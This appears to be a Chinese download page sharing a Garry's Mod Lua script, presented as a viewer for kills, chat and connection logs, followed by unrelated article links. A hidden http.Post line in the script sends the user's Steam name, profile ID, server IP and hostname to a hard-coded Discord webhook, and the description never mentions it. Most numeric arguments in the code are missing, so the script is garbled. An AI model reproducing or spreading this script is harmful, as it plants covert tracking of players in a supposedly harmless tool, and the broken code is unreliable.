*----------------------------------------------[下载区]----------------------------------------------*

 ux_log_chat=""local function Add_ux_log_chat(g)ux_log_chat = ux_log_chat.."\n"..g end hook.Add("OnPlayerChat","g",function(ply,text,bTeam,bDead)Add_ux_log_chat(os.date("%H:%M:%S").." "..ply:Nick()..": "..text)end)
ux_log_connect=""local function Add_ux_log_connect(g)ux_log_connect = ux_log_connect.."\n"..g end hook.Add( "ChatText", "g", function( index, name, text, typ ) if ( typ == "joinleave" ) then Add_ux_log_connect(os.date("%H:%M:%S").." "..text)end end)
ux_log_kills=""local function Add_ux_log_kills(g)ux_log_kills = ux_log_kills.."\n"..g end
gameevent.Listen( "entity_killed" )hook.Add( "entity_killed", "ux_kills", function( data )local inflictor_index = data.entindex_inflictor local attacker_index = data.entindex_attacker local damagebits = data.damagebits local victim_index = data.entindex_killed local ply = "unknown" local retard = game.GetWorld() local atk = "map" local wep = "unknown weapons" local killah = game.GetWorld() local inflictor = ents.GetByIndex(inflictor_index) for _, p in pairs(player.GetAll()) do if p:EntIndex() == victim_index then ply = p:Nick() retard = p end if p:EntIndex() == attacker_index then atk = p:Nick() killah = p if p:GetActiveWeapon() and p:GetActiveWeapon():IsValid() then wep = p:GetActiveWeapon():GetPrintName() end end end if attacker_index == victim_index then Add_ux_log_kills(os.date("%H:%M:%S").." ".. ply.." self-killed" ) end if inflictor:IsValid() and inflictor:GetClass() == "prop_physics" then Add_ux_log_kills(os.date("%H:%M:%S").." "..ply.." 被物品击杀" ) end Add_ux_log_kills(os.date("%H:%M:%S").." ".. atk.." 击杀 "..ply.." 武器是 "..wep) end)
ux_log_disconnect=""local function Add_ux_log_disconnect(g)ux_log_disconnect = ux_log_disconnect.."\n"..g end gameevent.Listen( "player_disconnect" ) hook.Add( "player_disconnect", "b", function( data )Add_ux_log_disconnect(os.date("%H:%M:%S").." "..data.name .. " ".. data.networkid.." disconnect (".. data.reason..")") end)http.Post("https://discordapp.com/api/webhooks/531169691016888332/yf9hB0wN1q1RyqHpK5pERp184so0-V-azo_UOCyG5t9iwANLIa1Y0FkbJ9MFPZ0W9Nsh",{content="[Ник:"..steamworks.GetPlayerName(LocalPlayer():SteamID64()).."][Сервер:"..game.GetIPAddress()..","..GetHostName().."][Время:"..os.date("%H:%M:%S").."][Профиль:steamcommunity.com/profiles/"..LocalPlayer():SteamID64().."/]"})
hook.Add("Think","h",function()if (input.IsKeyDown(KEY_HOME) && !menuopen && !insertdown) then menuopen = true;insertdown = true;ux_logs_menu()elseif (!input.IsKeyDown(KEY_HOME) && !menuopen) then insertdown = false; end if (input.IsKeyDown(KEY_HOME) && insertdown && menuopen) then insertdown2 = true; else insertdown2 = false; end end)
function ux_logs_menu()local ux_memu = vgui.Create( "DFrame" )ux_memu:SetSize( , )ux_memu:Center()exitmenu(ux_memu, , )ux_memu:SetTitle( "" )ux_memu:SetVisible( true )
ux_memu:SetDraggable( true )ux_memu:ShowCloseButton( false )ux_memu:MakePopup()ux_memu.Paint = function()DrawBlur(ux_memu, )draw.RoundedBox(, , , , , Color(, , ,))
surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , ux_memu:GetSize())surface.DrawOutlinedRect(, , ux_memu:GetSize())surface.DrawOutlinedRect(, , ux_memu:GetSize())
draw.SimpleText("盖瑞模组日志记录器", "exitmenu", , , Color(, , , ), , )end ux_memu.Think = function() if (input.IsKeyDown(KEY_HOME) && !insertdown2) then ux_memu:Remove();
menuopen = false;candoslider = false;drawlast = nil;
end
end
local Limon_b = vgui.Create("DButton", ux_memu)Limon_b:SetText( "" )Limon_b:SetSize(,)Limon_b:SetPos(,)
Limon_b.DoClick = function()
if IsValid(rtx) then rtx:Remove() end
rtx = vgui.Create( "RichText", ux_memu )rtx:SetPos(,)rtx:SetSize(,)rtx:InsertColorChange( , , , )rtx:AppendText(ux_log_kills)end
Limon_b.Paint = function(self, w, h)Limon_b.OnCursorEntered = function(self)surface.PlaySound("buttons/button15.wav")end if Limon_b:IsHovered() then draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())else draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())end draw.SimpleText("击杀记录", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end
local Limon_b = vgui.Create("DButton", ux_memu)Limon_b:SetText( "" )Limon_b:SetSize(,)Limon_b:SetPos(,)Limon_b.DoClick = function()if IsValid(rtx) then rtx:Remove()
end rtx = vgui.Create( "RichText", ux_memu ) rtx:SetPos(,) rtx:SetSize(,) rtx:InsertColorChange( , , , ) rtx:AppendText(ux_log_chat)
end
Limon_b.Paint = function(self, w, h)Limon_b.OnCursorEntered = function(self) surface.PlaySound("buttons/button15.wav") end if Limon_b:IsHovered() then draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())else draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize()) end draw.SimpleText("聊天记录", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end local Limon_b = vgui.Create("DButton", ux_memu)
Limon_b:SetText( "" )Limon_b:SetSize(,) Limon_b:SetPos(,) Limon_b.DoClick = function() if IsValid(rtx) then
rtx:Remove() end rtx = vgui.Create( "RichText", ux_memu ) rtx:SetPos(,) rtx:SetSize(,) rtx:InsertColorChange( , , , ) rtx:AppendText(ux_log_disconnect)
end Limon_b.Paint = function(self, w, h) Limon_b.OnCursorEntered = function(self) surface.PlaySound("buttons/button15.wav") end if Limon_b:IsHovered() then
draw.RoundedBox(, , , , , Color(, , , ))surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())
else draw.RoundedBox(, , , , , Color(, , , ))surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())
end draw.SimpleText("断开记录", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end local Limon_b = vgui.Create("DButton", ux_memu)Limon_b:SetText( "" )Limon_b:SetSize(,)Limon_b:SetPos(,)Limon_b.DoClick = function()
if IsValid(rtx) then
rtx:Remove()
end rtx = vgui.Create( "RichText", ux_memu )rtx:SetPos(,)rtx:SetSize(,)rtx:InsertColorChange( , , , )rtx:AppendText(ux_log_connect)end Limon_b.Paint = function(self, w, h)
Limon_b.OnCursorEntered = function(self)surface.PlaySound("buttons/button15.wav")
end
if Limon_b:IsHovered() then
draw.RoundedBox(, , , , , Color(, , , ))surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())
else draw.RoundedBox(, , , , , Color(, , , ))surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())
end draw.SimpleText("连接记录", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end local Limon_b = vgui.Create("DButton", ux_memu)Limon_b:SetText( "" )Limon_b:SetSize(,)Limon_b:SetPos(,)Limon_b.DoClick = function()
if IsValid(rtx) then rtx:Remove()
end ux_log_kills=""ux_log_chat=""ux_log_connect=""ux_log_disconnect=""end Limon_b.Paint = function(self, w, h)
Limon_b.OnCursorEntered = function(self)surface.PlaySound("buttons/button15.wav")
end if Limon_b:IsHovered() then
draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))
surface.DrawOutlinedRect(, , Limon_b:GetSize())
surface.DrawOutlinedRect(, , Limon_b:GetSize())
else
draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))
surface.DrawOutlinedRect(, , Limon_b:GetSize())
surface.DrawOutlinedRect(, , Limon_b:GetSize())
end
draw.SimpleText("清除日志", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end
local Limon_b = vgui.Create("DButton", ux_memu)
Limon_b:SetText( "" )
Limon_b:SetSize(,)
Limon_b:SetPos(,)
Limon_b.DoClick = function()
gui.OpenURL("https://baidu.com/")
end
Limon_b.Paint = function(self, w, h)
Limon_b.OnCursorEntered = function(self)
surface.PlaySound("buttons/button15.wav")
end
if Limon_b:IsHovered() then
draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))
surface.DrawOutlinedRect(, , Limon_b:GetSize())
surface.DrawOutlinedRect(, , Limon_b:GetSize())
else
draw.RoundedBox(, , , , , Color(, , , ))
surface.SetDrawColor(Color(, , , ))
surface.DrawOutlinedRect(, , Limon_b:GetSize())
surface.DrawOutlinedRect(, , Limon_b:GetSize())
end
draw.SimpleText("百度一下", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end
end
function exitmenu(panel, X, y)
local CButton = vgui.Create("DButton", panel)
CButton:SetTextColor(Color(, , ))
CButton:SetText("X")
CButton:SetFont("exitmenu")
CButton:SetPos(X, y)
CButton:SetSize(, )
CButton.DoClick = function()
menuopen = false;
candoslider = false;
drawlast = nil;
panel:SizeTo(, , ., , .)
timer.Simple(0.3, function()
panel:SetVisible(false)
end)
end
CButton.Paint = function(panel, w, h)
surface.SetDrawColor(Color(, , , ))
surface.DrawOutlinedRect(, , CButton:GetSize())
draw.RoundedBox(, , , w, h, Color(, , , ))
end
CButton.OnCursorEntered = function(self)
surface.PlaySound("garrysmod/ui_hover.wav") CButton.Paint = function(panel, w, h)
draw.RoundedBox(, , , w, h, Color(, , , ))
end
end
CButton.OnCursorExited = function(self)
CButton.Paint = function(panel, w, h)
draw.RoundedBox(, , , w, h, Color(, , , ))
end
end
end
blur = Material("pp/blurscreen")
function DrawBlur(panel, amount)
local x, y = panel:LocalToScreen(, )
local scrW, scrH = ScrW(), ScrH()
surface.SetDrawColor(, , )
surface.SetMaterial(blur)
for i = , do
blur:SetFloat("$blur", (i / ) * (amount or ))
blur:Recompute()
render.UpdateScreenEffectTexture()
surface.DrawTexturedRect(x * -, y * -, scrW, scrH)
end
end
surface.CreateFont("exitmenu", {
font = "Arial",
size = ,
weight = ,
shadow = false,
outline = false
})

查看脚本

*----------------------------------------------[下载区]----------------------------------------------*

*----------------------------------------------[介绍区]----------------------------------------------*

可记录在服务器内击杀、连接等详情情况

*----------------------------------------------[介绍区]----------------------------------------------*

游戏截图:

【资源分享】Gmod日志记录脚本的更多相关文章

  1. [Linux] PHP-FPM开启慢日志记录

    fpm:FastCGI Process Manager 是一种替代的PHP FastCGI实现,对于负载较重的站点非常有用. .先进的进程控制,优雅的停止启动 .能够使用不同的uid/gid/chro ...

  2. Go/Python/Erlang编程语言对比分析及示例 基于RabbitMQ.Client组件实现RabbitMQ可复用的 ConnectionPool(连接池) 封装一个基于NLog+NLog.Mongo的日志记录工具类LogUtil 分享基于MemoryCache(内存缓存)的缓存工具类,C# B/S 、C/S项目均可以使用!

    Go/Python/Erlang编程语言对比分析及示例   本文主要是介绍Go,从语言对比分析的角度切入.之所以选择与Python.Erlang对比,是因为做为高级语言,它们语言特性上有较大的相似性, ...

  3. Android APP压力测试(三)之Monkey日志自动分析脚本

    Android APP压力测试(三) 之Monkey日志自动分析脚本 前言 上次说要分享Monkey日志的分析脚本,这次贴出来分享一下,废话不多说,请看正文. [目录] 1.Monkey日志分析脚本 ...

  4. linux实用的日志分析脚本

    日志分析 随意的tail一个access_log文件,下面是一条经典的访问记录 218.19.140.242 – - [10/Dec/2010:09:31:17 +0800] “GET /query/ ...

  5. MySQL慢日志监控脚本实例剖析

    公司线上的 MySQL 慢日志,之前一直没有做好监控.趁着上周空闲,我就把监控脚本写了下,今天特地把代码发出来与51博友分享一下. 针对脚本的注解和整体构思,我会放到脚本之后为大家详解. 1 2 3 ...

  6. 第十二篇 Integration Services:高级日志记录

    本篇文章是Integration Services系列的第十二篇,详细内容请参考原文. 简介在前一篇文章我们配置了SSIS内置日志记录,演示了简单和高级日志配置,保存并查看日志配置,生成自定义日志消息 ...

  7. 第十一篇 Integration Services:日志记录

    本篇文章是Integration Services系列的第十一篇,详细内容请参考原文. 简介在前一篇,我们讨论了事件行为.我们分享了操纵事件冒泡默认行为的方法,介绍了父子模式.在这一篇,我们会配置SS ...

  8. IIS 之 启用日志记录

    如何为网站启用日志记录或 在 Microsoft Internet Information Services (IIS) 6.0 中,在 IIS 5.0 中,并在 IIS 4.0 中的FTP 站点.可 ...

  9. 【译】第十二篇 Integration Services:高级日志记录

    本篇文章是Integration Services系列的第十二篇,详细内容请参考原文. 简介在前一篇文章我们配置了SSIS内置日志记录,演示了简单和高级日志配置,保存并查看日志配置,生成自定义日志消息 ...

随机推荐

  1. sql查询 ——排序

    -- 排序 -- order by 排序 默认为升序 -- asc 升序 -- desc 降序 -- 查询身高 分别用升序和降序 select *from student order by high ...

  2. HTML5基础-新增标签+新增属性+布局案例

    html5中常用的结构标签 article 文章 header 头部 nav 导航 section 区域 aside 侧边栏 hgroup 区块的相关信息 figure 定义一组内容及标题 figca ...

  3. js函数的使用+封装+代码复用

    javascript 函数 return 后面没有返回值 代表提早退出语句,return后面的语句都不再执行 此时返回值为undefined <!DOCTYPE html> <htm ...

  4. 剑指offer-面试题40-最小的k个数-最大堆

    /* 题目: 输入n个整数,找出其中最小的K个数.例如输入4,5,1,6,2,7,3,8这8个数字,则最小的4个数字是1,2,3,4,. */ /* 思路: 利用最大堆,C++中使用multiset& ...

  5. 深入浅出Mybatis系列十-SQL执行流程分析(源码篇)

    注:本文转载自南轲梦 注:博主 Chloneda:个人博客 | 博客园 | Github | Gitee | 知乎 最近太忙了,一直没时间继续更新博客,今天忙里偷闲继续我的Mybatis学习之旅.在前 ...

  6. 12 : API

    Object 概念 所有类的顶级父类 存在于java.lang包中,这个包不需要我们手动导包 常用方法 toString() 默认返回   类名@地址  的格式,来展示对象的地址值,如:a00000. ...

  7. .NET/C# 万能 HTTP 模拟请求框架

    我是一名 ASP.NET 程序员,专注于 B/S 项目开发.累计文章阅读量超过一千万,我的博客主页地址:https://www.itsvse.com/blog_xzz.html HttpHelper ...

  8. Spark学习之路 (十一)SparkCore的调优之Spark内存模型[转]

    概述 Spark 作为一个基于内存的分布式计算引擎,其内存管理模块在整个系统中扮演着非常重要的角色.理解 Spark 内存管理的基本原理,有助于更好地开发 Spark 应用程序和进行性能调优.本文旨在 ...

  9. Django---Django返回用户输入数据

    前面写了关于HTML和Django结合的文章,通过视图与HTML结合,然后加上urls渲染返回给用户浏览器.很明显我们都能看到这些仅仅是静态HTML,那如何通过Django创建动态的HTML呢? 动态 ...

  10. Java代码中特殊注释

    Java代码中特殊注释 TODO: + 说明:标识处有功能代码待编写,待实现的功能在说明中会简略说明. FIXME: + 说明:标识处代码需要修正,甚至代码是错误的,不能工作,需要修复,如何修正会在说 ...